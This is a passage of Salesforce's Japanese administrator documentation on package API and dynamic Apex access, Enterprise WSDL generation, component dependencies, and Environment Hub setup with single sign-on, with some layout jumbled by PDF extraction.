• パッケージをアップグレードするときは、たとえ開発者が指定したものであっても、APIアクセスの変更は
無視されます。このようにして、アップグレードをインストールするシステム管理者に完全な制御権があ
ることを保証します。インストールするユーザはインストール中の各アップグレードで、パッケージのア
クセスの変更を慎重に検討し、すべての受け入れ可能な変更に注意する必要があります。これらの変更は
無視されるため、システム管理者は、アップグレードをインストールした後で、受け入れ可能な変更を手
動で適用する必要があります。

• Sコントロールは、Salesforce が提供するもので、Salesforce 内にインラインで表示されます。このように緊密
に統合されているため、インストール済みのパッケージ内の Sコントロールがその権限をユーザのフルアク
セス権にまでエスカレーションする場合があります。パッケージをインストールする組織のセキュリティ
を保護するため、Sコントロールには、次のような制限があります。
– 開発中の (つまり、AppExchange からインストールしたものではない) パッケージの場合、Sコントロール

は、APIアクセスがデフォルトの [無制限]になっているパッケージにのみ追加できます。パッケージに
Sコントロールを追加すると、[制限あり] の API アクセスを有効にすることはできません。

– インストールしたパッケージについては、パッケージに Sコントロールが含まれる場合でも、アクセス
制限を有効にできます。ただし、アクセス制限は、Sコントロールについては限定的な保護しか行いま
せん。Salesforce は、Sコントロールセキュリティのアクセス制限を使用する前に、Sコントロール内の
JavaScript を理解することをお勧めします。

– インストール済みパッケージの API アクセスが [制限あり] になっていると、アップグレード済みバー
ジョンに Sコントロールが含まれていない場合にのみ、アップグレードが成功します。アップグレード
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されたバージョンに Sコントロールがある場合は、現在インストール済みのパッケージの API アクセス
を [無制限] に変更する必要があります。

関連トピック:

パッケージのインストール
インストール済みパッケージの設定

パッケージの API アクセスおよびダイナミック Apex アクセスの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

作成またはインストール
したパッケージのAPIとダ
イナミックApexのアクセ
スを編集する
• 「AppExchange パッ

ケージの作成」

パッケージ API とダイナ
ミックApexのアクセスを
インストールの一部とし
てパッケージに受け入れ
るまたは拒否する
• 「AppExchange パッ

ケージのダウンロー
ド」

[API アクセス]は、パッケージの Sコントロールとその他のパッケージコンポー
ネントの標準オブジェクトやカスタムオブジェクトに対するダイナミック Apex

とAPIアクセスを制御するパッケージ設定です。設定は、パッケージ詳細ページ
で開発者とインストーラの両方に表示されます。この設定によって、次のこと
ができます。
• AppExchangeパッケージの開発者は、パッケージをForce.com AppExchangeにアッ

プロードする前に、パッケージの API アクセスを制限できます。いったん制
限すると、パッケージコンポーネントが受け取る Apex および API セッション
は、パッケージ内のカスタムオブジェクトに制限されます。また、開発者は
特定の標準オブジェクト、このパッケージが依存するその他のパッケージの
カスタムオブジェクトにアクセスできます。

• パッケージのインストーラは、パッケージを組織にインストールするとき
に、パッケージアクセス権限を引き受けまたは却下できます。

• インストール後、システム管理者はいつでもパッケージの Apex および API ア
クセスを変更できます。インストーラを使用して、インストーラの組織に作
成されたカスタムオブジェクトまたは関連しないパッケージでインストール
したオブジェクトなど、追加のオブジェクトに対するアクセスを有効化する
こともできます。

パッケージの API アクセスおよびダイナミック Apex アクセスの設
定
ユーザ自身または組織の他のユーザが作成したパッケージのパッケージアクセ
ス権限を変更する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. パッケージを選択します。
3. [API アクセス]項目には現在の設定、[制限あり]または [無制限]、および [制限を有効化]または [制限を

無効化]のいずれかへのリンクが表示されます。[参照]、[作成]、[編集]、および [削除] アクセスがオブ
ジェクトのAPIアクセス設定で選択されていない場合、たとえユーザに対する「すべてのデータの編集」権
限および「すべてのデータの参照」権限があっても、ユーザにはパッケージコンポーネントのオブジェク
トに対するアクセス権はありません。
[API アクセス] 項目を使用して、次を設定します。
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制限を有効化
このオプションは、現在の設定が [無制限] になっている場合にのみ使用できます。パッケージのコン
ポーネントが持つダイナミック Apexと APIのアクセス権限をインストーラ組織の標準オブジェクトに限
定する場合は、このオプションを選択します。このオプションを選択すると、[拡張オブジェクト権限]

リストが表示されます。リスト内の各標準オブジェクトへのアクセスを有効化するには、[参照]、[作
成]、[編集]、または [削除] チェックボックスをオンにします。この選択肢が無効になっている場合
があります。完了したら、[保存]をクリックします。どのような場合にオプションが無効になっている
かなど、[制限あり] オプションの選択についての詳細は、「パッケージの API アクセスおよびダイナ
ミック Apex アクセスについて」 (ページ 7014)を参照してください。

制限を無効化
このオプションは、現在の設定が [制限あり] になっている場合にのみ使用できます。パッケージのコ
ンポーネントの Apexと APIのアクセス権を標準オブジェクトやカスタムオブジェクトに制限しないよう
にするには、このオプションを選択します。このオプションを選択すると、パッケージのすべてのコン
ポーネントに対し、ログインしているユーザと同じ API アクセス権が与えられます。たとえば、ユーザ
が取引先へのアクセス権を持っている場合、このユーザによって開始される、取引先へアクセスする
パッケージでの Apex クラスは正常に実行されます。

制限あり
API アクセスの制限をすでに設定している場合に、制限内容を編集するには、このリンクをクリックし
ます。

インストール中の API とダイナミック Apex のアクセス権限の受け入れまたは拒否
インストール中のパッケージでAPIとダイナミックApexのアクセス権限を受け入れるまたは拒否する手順は、
次のとおりです。
• Force.com AppExchange でインストール処理を開始します。
• [API アクセスを承認] で、[次へ] をクリックして受け入れるか、[キャンセル] をクリックして拒否します。

キャンセルしない場合は、インストール手順を完了します。

インストール後の API アクセスおよびダイナミック Apex アクセスの変更
パッケージをインストールした後にパッケージのAPIとダイナミックApexのアクセス権限を編集する手順は、
次のとおりです。
1. [設定] から、[クイック検索]ボックスに「インストール済みパッケージ」と入力し、[インストール済みパッ

ケージ] を選択します。
2. 編集するパッケージの名前をクリックします。
3. [API アクセス]項目には現在の設定、[制限あり]または [無制限]、および [制限を有効化]または [制限を

無効化]のいずれかへのリンクが表示されます。[参照]、[作成]、[編集]、および [削除] アクセスがオブ
ジェクトのAPIアクセス設定で選択されていない場合、たとえユーザに対する「すべてのデータの編集」権
限および「すべてのデータの参照」権限があっても、ユーザにはパッケージコンポーネントのオブジェク
トに対するアクセス権はありません。
[API アクセス] 項目を使用して、次を設定します。
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制限を有効化
このオプションは、現在の設定が [無制限] になっている場合にのみ使用できます。パッケージのコン
ポーネントが持つダイナミック Apexと APIのアクセス権限をインストーラ組織の標準オブジェクトに限
定する場合は、このオプションを選択します。このオプションを選択すると、[拡張オブジェクト権限]

リストが表示されます。リスト内の各標準オブジェクトへのアクセスを有効化するには、[参照]、[作
成]、[編集]、または [削除] チェックボックスをオンにします。この選択肢が無効になっている場合
があります。完了したら、[保存]をクリックします。どのような場合にオプションが無効になっている
かなど、[制限あり] オプションの選択についての詳細は、「パッケージの API アクセスおよびダイナ
ミック Apex アクセスについて」 (ページ 7014)を参照してください。

制限を無効化
このオプションは、現在の設定が [制限あり] になっている場合にのみ使用できます。パッケージのコ
ンポーネントの Apexと APIのアクセス権を標準オブジェクトやカスタムオブジェクトに制限しないよう
にするには、このオプションを選択します。このオプションを選択すると、パッケージのすべてのコン
ポーネントに対し、ログインしているユーザと同じ API アクセス権が与えられます。たとえば、ユーザ
が取引先へのアクセス権を持っている場合、このユーザによって開始される、取引先へアクセスする
パッケージでの Apex クラスは正常に実行されます。

制限あり
API アクセスの制限をすでに設定している場合に、制限内容を編集するには、このリンクをクリックし
ます。

管理パッケージによる Enterprise WSDL の生成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

WSDL をダウンロードする
• 「アプリケーションの

カスタマイズ」

Enterprise WSDL をダウンロードし、管理パッケージを組織にインストールする場
合、生成された WSDL に追加するインストールパッケージのバージョンを選択す
るという、追加のステップを実行する必要があります。Enterprise WSDL は非常に
強い型付けであるため、コールは int や string など特定のデータ型のオブ
ジェクトや項目を含みます。
パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、メジャーリリース時に選択した値に増えます。patchNumber

は、パッチリリースにのみ生成および更新されます。公開者は、パッケージバー
ジョンを使用して、パッケージを使用する既存の連携に影響を与えることなく
後続のパッケージバージョンをリリースすることにより、管理パッケージのコ
ンポーネントを発展させることができます。後続バージョンのパッケージをイ
ンストールしてもAPIクライアントが引き続き特定の、かつ既知の動作ができる
ように、登録ユーザはインストールする管理パッケージのパッケージバージョ
ンを選択できます。各パッケージバージョンでは、オブジェクトや項目の構成
にバリエーションがあるため、強い型付けをされた WSDL を生成する場合、特定
のバージョンを選択する必要があります。
管理パッケージをインストールする場合に Enterprise WSDL をダウンロードする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「API」と入力し、[API] を選択します。
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2. [Enterprise WSDL の生成] をクリックします。
3. インストールした管理パッケージの [パッケージバージョン]を選択します。選択するパッケージバージョ

ンがわからない場合、デフォルトの選択内容 (最新パッケージバージョン) に従います。
4. [作成] をクリックします。
5. ブラウザの [ファイル] メニューを選択し、WSDL をコンピュータに保存します。
6. コンピュータで、WSDL ドキュメントのローカルコピーを開発環境にインポートします。
生成された Enterprise WSDL については、次の点に注意してください。
• それぞれの管理パッケージバージョンの選択内容は、WSDL の最上部にあるコメントに記載されています。
• 生成された WSDL には、選択されたバージョンのインストールパッケージで使用できるものなど、組織内の

オブジェクトや項目が含まれています。項目またはオブジェクトが今後のパッケージバージョンに追加さ
れる場合、APIインテグレーションのオブジェクトまたは項目と連動するよう、そのパッケージバージョン
で Enterprise WSDL を生成する必要があります。

• WSDL の末尾の SOAP エンドポイントには、serverName/services/Soap/c/api_version/ID という形式
の URL が指定されています。api_version は、39.0 など API のバージョンを示し、ID は、Salesforce との通
信時のパッケージバージョンの選択内容を符号化したものです。

[設定] の API ページから WSDL をダウンロードせずに、Enterprise WSDL のデフォルトのパッケージバージョンを
選択することもできます。パッケージバージョンがAPIコールで指定されていない場合、APIコールのデフォル
トのパッケージバージョンによって代替システム設定が指定されます。多くの API クライアントにはパッケー
ジのバージョン情報がないため、デフォルトの設定がこれらのクライアントの既存の動作を保持します。
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連動関係とは

エディション

使用可能なインター
フェース: Salesforce Classic

AppExchange パッケージ
および Visualforce を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Apex を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

Apex 連動関係を表示する
• 「Apex 開発」

Visualforce連動関係を表示
する
• 「開発モード」

パッケージの連動関係は、1 つのコンポーネントが、他のコンポーネント、権
限、またはそのコンポーネントが有効であるために存在する必要がある設定を
参照する場合に作成されます。Force.comが追跡する連動関係は次のとおりです。
• マルチ通貨やキャンペーンが有効かなど、組織的連動関係
• 特定のレコードタイプやディビジョンが存在するかなど、コンポーネント固

有の連動関係
• 標準またはカスタム両方のオブジェクトまたは項目への参照
パッケージ、Apex クラス、Apex トリガ、Visualforce コンポーネント、および
Visualforce ページでは、組織内のコンポーネントに連動関係を持たせることがで
きます。これらの連動関係は、[連動関係の表示] ページに記録されます。
1 つのパッケージのコンポーネントの中に連動関係があると、概してパッケージ
の連動関係とみなされるため、連動関係はパッケージングにとって重要です。

メモ: 組織は、[連動関係の表示] ページにリストされているすべての連動関
係の要件を満たしている必要があります。満たしていない場合、インストー
ルは失敗します。たとえば、ディビジョンを参照するパッケージをインス
トールするには、ディビジョンが有効になっている必要があります。

コードが配備またはパッケージ化されるときは、クラスやトリガと共に、連動
するコンポーネントもすべて含まれている必要があるため、連動関係は、Apex

のクラスまたはトリガにとって重要です。
[連動関係の表示] ページには、連動関係のほか、操作範囲も表示されます。操作
範囲とは、Apex が指定されたオブジェクトに対して実行するデータ操作言語
(DML) による操作 (insert や merge など) を示すテーブルです。アプリケーショ
ンをインストールする際に全操作をチェックし、データベース操作の範囲を参
照できます。
パッケージ、Apexクラス、Apexトリガ、または Visualforceページの連動関係およ
び操作範囲を表示する手順は、次のとおりです。
1. [設定] から目的のコンポーネントに移動します。

• パッケージの場合、[クイック検索]ボックスに「パッケージ」と入力し、
[パッケージ] を選択します。

• Apex クラスの場合、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択しま
す。

• Apex トリガの場合、適切なオブジェクトの管理設定から、[トリガ] に移動します。
• Visualforce ページの場合、[クイック検索] ボックスに「Visualforce ページ」と入力し、[Visualforce

ページ] を選択します。

2. コンポーネントの名前を選択します。
3. 選択したコンポーネントに依存するオブジェクトのリストを表示するには、パッケージの[連動関係を参照]

または、その他すべてのコンポーネントの [連動関係の表示] をクリックします。
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連動オブジェクトのリストが表示されたら、[項目]をクリックして、操作範囲の項目レベルの詳細にアクセス
できます。項目レベルの詳細としては、項目が Apex によって更新されるかどうかなどの情報があります。詳
細は、「項目の操作範囲」 (ページ 6676)を参照してください。
パッケージ、Apex コード、および Visualforce ページは、次を含む多くのコンポーネントに連動させることがで
きます。
• カスタム項目定義
• 入力規則の数式
• レポート
• レコードタイプ
• Apex

• Visualforce ページとコンポーネント
たとえば、Visualforce ページに {!contract.ISO_code} などのマルチ通貨項目への参照がある場合、その
Visualforce はマルチ通貨について連動関係を持っています。パッケージにこの Visualforce ページが含まれると、
そのパッケージもマルチ通貨について連動関係を持つことになります。このパッケージをインストールする組
織では、マルチ通貨が有効になっている必要があります。

関連トピック:

配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開
管理パッケージへの拡張の公開
項目の操作範囲

環境ハブ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

環境ハブを使用すると、Salesforce組織の接続、作成、参照、ログインを 1 つの場
所から実行できます。開発、テスト、およびトライアル用の複数の環境がある
場合、環境ハブを使用して組織の管理方法を合理化できます。
環境ハブから、次の操作を実行できます。
• 関連組織の自動検出を使用して既存の組織をハブに接続する
• 開発、テスト、およびトライアル用に標準およびパートナーエディションの

組織を作成する
• エディション、作成日、インスタンス、発生元、SSO 状況などの選択した条

件に従い、ハブメンバーを表示して絞り込む
• ハブメンバーへのログインアクセスを容易にするためにシングルサインオン

(SSO) ユーザ対応付けを作成する
各ハブメンバー組織は、EnvironmentHubMember オブジェクトに対応します。EnvironmentHubMember は Accounts や
Contacts のような標準オブジェクトであるため、プラットフォームを使用してプログラムで環境ハブを拡張ま
たは変更できます。たとえば、任意のハブメンバー組織に対して API を使用して、カスタム項目の作成、ワー
クフロールールの設定、ユーザの対応付けの定義、SSO の有効化を行うことができます。
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環境ハブの使用開始
社内のユーザがアプリケーションにアクセスしてメンバー組織を作成および管理できるように、環境ハブ
を設定します。次に、既存の組織をハブに接続して SSO ユーザの対応付けを作成できるように、[私のドメ
イン] を有効にします。
環境ハブでの組織の管理
既存のすべての Salesforce 組織を環境ハブに接続すると、1 つの場所から管理できます。開発、テスト、お
よびトライアル用の Salesforce テンプレートを使用して組織を作成することもできます。
環境ハブでのシングルサインオン
アプリケーションの開発、テスト、リリースを行うには、複数の Salesforce 環境間を切り替えて毎回ログイ
ン情報を入力する必要があります。シングルサインオン (SSO) は、再認証なしで環境ハブユーザがメンバー
組織にログインできるようにすることで、このプロセスを簡略化します。SSO を設定するには、手動でユー
ザの対応付けを定義するか、統合 ID を使用するか、数式を作成します。
環境ハブのベストプラクティス
環境ハブを使用する場合は、次のガイドラインおよびベストプラクティスに従ってください。
FAQ - 環境ハブ
環境ハブに関するよくある質問への回答が記載されています。
Lightning Experience の環境ハブの考慮事項
環境ハブで組織を作成および管理する場合は、次の考慮事項に注意してください。

環境ハブの使用開始

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

社内のユーザがアプリケーションにアクセスしてメンバー組織を作成および管
理できるように、環境ハブを設定します。次に、既存の組織をハブに接続して
SSO ユーザの対応付けを作成できるように、[私のドメイン] を有効にします。

環境ハブの設定
組織で環境ハブを有効にしてから、他のユーザがアクセスできるように設定
します。
環境ハブの [私のドメイン] の有効化
既存の組織を環境ハブに接続して SSO ユーザの対応付けを作成するには、[私
のドメイン] が必要です。環境ハブをインストールした組織では、[私のドメ
イン] を有効にしてください。

環境ハブの設定

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

組織で環境ハブを有効にしてから、他のユーザがアクセスできるように設定し
ます。
1. Salesforceに連絡して、組織で環境ハブを有効にしてください。ISV パートナー

の場合は、このステップをスキップしてください。環境ハブはパートナービ
ジネス組織にすでにインストールされています。

2. 環境ハブが有効になっている組織にログインし、[設定] に移動します。
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3. 環境ハブの機能へのアクセス権をユーザに割り当てます。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. プロファイルを作成するか、既存のプロファイルを編集します。
c. プロファイルの設定を編集します。

環境ハブ設定プロファイルセクション

Lightning Experience のアプリケーションランチャー
またはSalesforce Classicのアプリケーションメニュー

カスタムアプリケーション設定

で使用できるように、環境ハブのカスタムアプリ
ケーションを有効にします。

Salesforce による指示がない限り、プロファイルの
このセクションの設定は調整しないでください。

接続アプリケーションへのアクセス

メンバー組織でシングルサインオン (SSO) を有効に
すると、プロファイルのこのセクションに新しい

サービスプロバイダのアクセス権

エントリが表示されます。エントリは「サービス
プロバイダ [Organization ID]」という形式で表示され
ます。Organization ID は、メンバー組織の ID です。
サービスプロバイダへのアクセス権を持たないユー
ザが SSO を使用してログインしようとすると、
「ユーザ [UserID] にサービスプロバイダ [Service

Provider ID] へのアクセス権がありません」という
メッセージが表示されることがあります。
新しい組織で環境ハブを設定する場合、このセク
ションは空です。

「環境ハブの管理」権限を有効にして、ユーザに
次の操作を許可します。

システム管理者権限

• 開発、テスト、およびトライアル用の組織を作
成する

• メンバー組織の SSO を設定する

「環境ハブへの組織の追加」権限を有効にして、
既存の組織の環境ハブへの接続をユーザに許可し
ます。

一般ユーザ権限

環境ハブユーザが必要なアクセスレベルに基づい
てオブジェクト権限を付与します。

標準オブジェクト権限

ハブメンバーオブジェクト:

• 「参照」- 既存のハブメンバーレコードを参照
できます。
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環境ハブ設定プロファイルセクション

• 「作成」- この権限は、ハブメンバーレコード
を作成する機能には影響しません。これは、レ
コードの作成が、既存の組織に接続するか、環
境ハブから組織を作成することで処理されるた
めです。

• 「編集」- 既存のハブメンバーレコードを編集
できます。

• 「削除」- 環境ハブから組織を接続解除し、そ
れに対応するハブメンバーレコードおよびサー
ビスプロバイダレコードを削除できます (メン
バーの SSO が有効になっている場合)。

• 「すべて表示」- 作成者に関係なく、すべての
ハブメンバーレコードを参照できます。

• 「すべて変更」- 作成者に関係なく、すべての
ハブメンバーレコードを参照、編集、および削
除できます。

ハブの招待オブジェクト:

• 「環境ハブへの組織の追加」権限を有効にする
場合は、ハブの招待の「作成」、「参照」、
「更新」、「削除」も有効にします。

サインアップ要求オブジェクト:

• 「環境ハブの管理」権限を有効にする場合は、
ユーザが組織を作成できるように、サインアッ
プ要求の「作成」と「参照」も有効にします。
必要に応じて、ユーザがハブから組織を削除で
きるように「削除」も有効にします。

d. [保存] を選択します。

環境ハブの [私のドメイン] の有効化

ユーザ権限

ドメイン名を設定する
• 「アプリケーションの

カスタマイズ」

既存の組織を環境ハブに接続して SSO ユーザの対応付けを作成するには、[私の
ドメイン] が必要です。環境ハブをインストールした組織では、[私のドメイン]

を有効にしてください。
1. 使用可能なドメイン名を見つけてサインアップします。

a. [設定] から、[クイック検索]ボックスに「私のドメイン」と入力し、[私の
ドメイン] を選択します。

b. サンプル URL で使用するサブドメイン名を入力します。
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c. [使用可能か調べる] を選択します。名前がすでに使用されている場合、別の名前を選択します。
d. [ドメインの登録] を選択します。

新しいドメインのテストの準備ができると、Salesforce から確認メールが送信されます。

2. ドメイン名をテストして組織にリリースします。
a. 確認メール内の URL をクリックし、新しいドメインを使用してSalesforceにログインします。または、[設

定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のドメイン] を選択してから、[こ
ちらをクリックしてログインしてください] を選択します。

b. 組織内のタブとリンクをクリックして、新しいドメインをテストします。すべてのページに新しいドメ
イン名が表示されています。

ヒント: 組織のカスタムボタンまたはVisualforceページを使用する場合、新しいドメイン名をリリー
スする前にそれらをテストします。インスタンスベースの URL をカスタマイズで使用した場合、リ
ンクは破損します。

c. 新しいドメイン名を組織にロールアウトするには、[設定] から、[クイック検索] ボックスに「私のドメ
イン」と入力し、[私のドメイン] を選択してから、[ユーザにリリース] を選択します。
ドメインはすぐに有効になり、新しいドメインのページにユーザがリダイレクトされます。

3. ユーザがページにアクセスするときのドメインのログインポリシーを設定します。
a. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のドメイン] を選択します。
b. [私のドメインの設定] で、[編集] を選択します。
c. ドメイン固有のログインページを使用しないユーザの認証をオフにするには、ログインポリシーを選択

します。このオプションを使用すると、ドメイン名を知らないユーザによるログイン試行を回避できる
ため、セキュリティが向上します。

d. 目的のセキュリティレベルに基づいて、リダイレクトポリシーを選択します。セキュリティを強化する
オプションは次の 3 つです。
• ユーザをドメイン内の同じページにリダイレクトする。
• 警告を表示してユーザをリダイレクトする。
• 新しいドメイン名の入力をユーザに要求することで、リダイレクトを防止する。

環境ハブでの組織の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

既存のすべてのSalesforce組織を環境ハブに接続すると、1 つの場所から管理でき
ます。開発、テスト、およびトライアル用の Salesforce テンプレートを使用して
組織を作成することもできます。

環境ハブへの組織の接続
既存のSalesforce組織を環境ハブに接続し、すべての開発、テスト、およびト
ライアル環境を 1 つの場所から管理できます。ある組織をハブに接続する
と、それに関連する組織が自動的に検出されるため、手動でそれらを接続す
る必要はありません。
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環境ハブからの組織の作成
開発、テスト、およびトライアル用の組織を環境ハブから作成できます。ISV パートナーの場合、制限が緩
和され、より多くのストレージやアプリケーション開発をサポートするその他のカスタマイズが含まれる、
パートナーエディションの組織も作成できます。環境ハブから組織を作成すると、その組織はハブメンバー
になり、デフォルト言語はユーザのロケールに設定されます。

環境ハブへの組織の接続

ユーザ権限

環境ハブに組織を接続す
る
• 「環境ハブへの組織の

追加」

既存の Salesforce 組織を環境ハブに接続し、すべての開発、テスト、およびトラ
イアル環境を 1 つの場所から管理できます。ある組織をハブに接続すると、そ
れに関連する組織が自動的に検出されるため、手動でそれらを接続する必要は
ありません。
次のタイプの関連組織が自動検出されます。
• 任意の組織から作成されたすべての Sandbox 組織
• リリース組織の場合、それに関連するすべてのパッチ組織
• Trialforce 管理組織の場合、その組織から作成されたすべての Trialforce ソース組織
• ライセンス管理アプリケーション (LMA) がインストールされている組織の場合、LMAで管理パッケージが登

録されたすべてのリリース組織

メモ:  Sandbox 組織を環境ハブに直接接続することはできません。Sandbox 組織を接続するには、まず Sandbox

を作成するのに使用した組織を環境ハブに接続します。次に Sandbox 組織を更新します。更新すると、
Sandbox 組織が自動的にハブメンバーとして追加されます。

1. 環境ハブにログインし、[組織を接続] を選択します。
2. 接続する組織の管理ユーザ名と、必要に応じて簡単な説明を入力します。説明を入力すると組織を後から

検索しやすくなり、特にハブに多くのメンバーが存在する場合は便利です。
3. 接続した組織では、シングルサインオン (SSO) がデフォルトで有効になります。SSO を無効にするには、[こ

の組織の SSO を自動有効化] をオフにします。
4. 再度 [組織を接続] を選択します。
5. ポップアップウィンドウで、組織の管理ユーザ名とパスワードを入力します。ポップアップが表示されな

い場合は、ブラウザの広告ブロックソフトウェアを一時的に無効にして再試行してください。
6. [ログイン] を選択してから、[許可] を選択します。

環境ハブからの組織の作成

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

開発、テスト、およびトライアル用の組織を環境ハブから作成できます。ISV

パートナーの場合、制限が緩和され、より多くのストレージやアプリケーショ
ン開発をサポートするその他のカスタマイズが含まれる、パートナーエディショ
ンの組織も作成できます。環境ハブから組織を作成すると、その組織はハブメ
ンバーになり、デフォルト言語はユーザのロケールに設定されます。

メモ:  1 日あたり最大 20 個のメンバー組織を作成できます。これより多い
組織を作成するには、パートナーコミュニティでケースを登録します。

1. 環境ハブにログインし、[組織を作成] を選択します。
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2. 組織の目的を選択します。

作成できる組織:目的

アプリケーションを作成してパッケージ化する Developer Edition 組織。開発

テストおよびデモ用の標準 Salesforce 組織のトライアルバージョン。これらの組織
は、www.salesforce.com/trial で顧客が作成する組織と似ています。テスト/デモ組織を

テスト/デモ

作成するときにカスタマイズを含める場合は、Trialforce テンプレートを指定できま
す。

Trialforce管理組織を使用する代わりとしてのTrialforceソース組織 (TSO)。ログインペー
ジまたはメールにカスタムブランド設定が不要な場合は、環境ハブを使用して TSO

を作成します。

Trialforce

3. 選択した組織種別に必要な情報を入力します。
4. マスターサブスクリプション契約を読み、チェックボックスをオンにします。
5. [作成] を選択します。
組織が準備できたら、確認メールが送信され、ハブメンバーのリストにその組織が表示されます。

環境ハブでのシングルサインオン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

アプリケーションの開発、テスト、リリースを行うには、複数の Salesforce 環境
間を切り替えて毎回ログイン情報を入力する必要があります。シングルサイン
オン (SSO) は、再認証なしで環境ハブユーザがメンバー組織にログインできるよ
うにすることで、このプロセスを簡略化します。SSO を設定するには、手動で
ユーザの対応付けを定義するか、統合 ID を使用するか、数式を作成します。
環境ハブでは、次の SSO メソッドによるユーザの照合がサポートされています。

説明SSO メソッド

メンバー組織のユーザに対して環境ハブのユーザを
手動で照合します。ユーザの対応付けは、メンバー

ユーザの対応付け

詳細ページで定義された SSO ユーザ対応付けのデ
フォルトメソッドです。

環境ハブとメンバー組織の両方で同じ統合 ID を持つ
ユーザを照合します。

統合 ID

定義した数式に従って、環境ハブとメンバー組織の
ユーザを照合します。

ユーザ名数式

複数の SSO メソッドを指定した場合、(1) ユーザの対応付け、(2) 統合 ID、(3) ユーザ名数式の順で評価されます。
結果が一致になる最初のメソッドがユーザのログインに使用され、他のメソッドは無視されます。一致する
ユーザが見つからなかった場合、環境ハブはユーザを標準 Salesforce ログインページに転送します。
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メモ: 新しく追加されたユーザや、Sandbox 組織で定義されたユーザ対応付けの場合、SSO は機能しませ
ん。ユーザの追加、ユーザ情報の編集、または SSO ユーザ対応付けの定義は、Sandbox の親組織でのみ行
う必要があります。

メンバー組織の SSO の有効化
シングルサインオン (SSO) を有効にすると、再認証なしで環境ハブユーザがメンバー組織にログインできま
す。
SSO ユーザ対応付けの定義
環境ハブのユーザとメンバー組織のユーザ間のシングルサインオン (SSO) ユーザ対応付けを手動で定義でき
ます。ユーザ対応付けを定義する前に、ハブメンバー組織で SSO を有効にします。
SSO での統合 ID または数式の使用
統合 ID またはユーザ名数式を使用して、環境ハブのユーザとメンバー組織のユーザを照合できます。いず
れのメソッドでも、最初にハブメンバー組織で SSO を有効にします。
メンバー組織の SSO の無効化
環境ハブユーザがメンバー組織にログインするときに再認証を要求するには、SSO を無効にします。SSO を
無効にしても定義済みのユーザ対応付けは削除されないため、後でいつでも SSO を再有効化できます。

メンバー組織の SSO の有効化

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

シングルサインオン (SSO) を有効にすると、再認証なしで環境ハブユーザがメン
バー組織にログインできます。
1. 環境ハブにログインし、メンバー組織を選択します。メンバー組織が表示さ

れない場合は、リストビューを確認してください。
2. [SSO を有効化] を選択します。
3. この組織の SSO を有効にすることを確認し、再度 [SSO を有効化] を選択しま

す。

SSO ユーザ対応付けの定義

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

環境ハブのユーザとメンバー組織のユーザ間のシングルサインオン (SSO) ユーザ
対応付けを手動で定義できます。ユーザ対応付けを定義する前に、ハブメンバー
組織で SSO を有効にします。
ユーザの対応付けは、一対多ではなく、多対一で行うことができます。つまり、
環境ハブ内の複数のユーザを、メンバー組織内の 1 人のユーザに関連付けるこ
とができます。たとえば、QA チームのメンバーが同じユーザでテスト組織にロ
グインできるようにする場合、ユーザ対応付けを定義できます。
1. 環境ハブにログインし、メンバー組織を選択します。メンバー組織が表示されない場合は、リストビュー

を確認してください。
2. [シングルサインオンユーザマッピング] 関連リストに移動し、[新規 SSO ユーザの対応付け]を選択します。
3. メンバー組織で対応付けるユーザのユーザ名を入力し、環境ハブのユーザを検索します。
4. [保存] を選択します。
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SSO での 統合 ID または数式の使用

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

統合 ID またはユーザ名数式を使用して、環境ハブのユーザとメンバー組織のユー
ザを照合できます。いずれのメソッドでも、最初にハブメンバー組織で SSO を
有効にします。
1. 環境ハブにログインし、メンバー組織を選択します。メンバー組織が表示さ

れない場合は、リストビューを確認してください。
2. [SSO 設定] に移動し、メソッドを選択します。

ステップメソッド

チェックボックスをオンにします。SSO 手法 2 - 統合 ID

チェックボックスをオンにして、数式を定義します。たと
えば、ユーザ名の最初の部分 (「@」マークよりも前の部分)

SSO 手法 3 - 従来のユーザ名

を明示的なドメイン名と照合するには、次の数式を入力し
ます。
LEFT($User.Username, FIND("@", $User.Username))
& ("mydev.org")

3. [保存] を選択します。

メンバー組織の SSO の無効化

ユーザ権限

環境ハブを設定および構
成する
• 「環境ハブの管理」

環境ハブユーザがメンバー組織にログインするときに再認証を要求するには、
SSO を無効にします。SSO を無効にしても定義済みのユーザ対応付けは削除され
ないため、後でいつでも SSO を再有効化できます。
1. 環境ハブにログインし、メンバー組織を選択します。メンバー組織が表示さ

れない場合は、リストビューを確認してください。
2. [SSO を無効化] を選択します。
